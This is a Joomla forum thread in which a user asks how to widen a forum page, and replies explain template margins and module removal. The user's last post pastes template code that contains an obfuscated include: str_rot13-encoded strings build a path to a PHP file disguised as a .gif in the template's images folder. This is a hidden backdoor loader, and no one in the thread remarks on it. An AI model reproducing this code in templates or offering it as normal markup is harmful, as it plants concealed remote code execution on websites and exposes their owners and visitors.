Question Open in Parent Window With Browser Navigation not working properly

Gibbo wrote:

Thanks for that, great information!

I have now removed the menu items from the left, but the forum STILL takes up the same small space it did before!
Is there another setting somewhere that will make it take up the whole width?

OR is there a good template editor I can use to ake the template full screen instead of hogging the middle of the page?

Thanks again.

You're referring to the dark left/right margins, are you? They're defined within your template. Some templates allow you to specify the width (usually as a percentage of the window) ... some don't. Changing the width "on the fly" is done in the Template Manager (backend). For those templates that don't have parameters to control these settings, you'll have to work your way through the template's CSS file, a task that isn't for the faint-hearted. :blink:

I can't help you with recommending a good template editor; perhaps someone else knows of one that works with Joomla?

I just did this by creating a new template. I did not even bother with the modules. This is because every time I add a new menu item I would have to go to each module to assign it to the new menu item.

Here is what you can do:

1. Copy your existing template folder and rename it.
2. Edit index.php by commenting out the left and right modules. Look for mosLoadModules ( 'left' ) and mosLoadModules ( 'right' ) and comment out.

Example:
<!---<td width="15%" valign="top" class="mainleft">
<?php //mosLoadModules ( 'left' ); ?>
</td>--->
3. Edit templateDetails.xml and update the <name> node
3. Upload the new template folder to the joomla templates directory
4. Go to Site -> Template manager -> Site Templates (the new template should show up)
5. Assign the new template to your forum menu item

Thanks for that, I will give it a go tonight and let you know. My code looks different...
Cheers

<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>
<div class="clr"></div>
</div>
</div>
</div>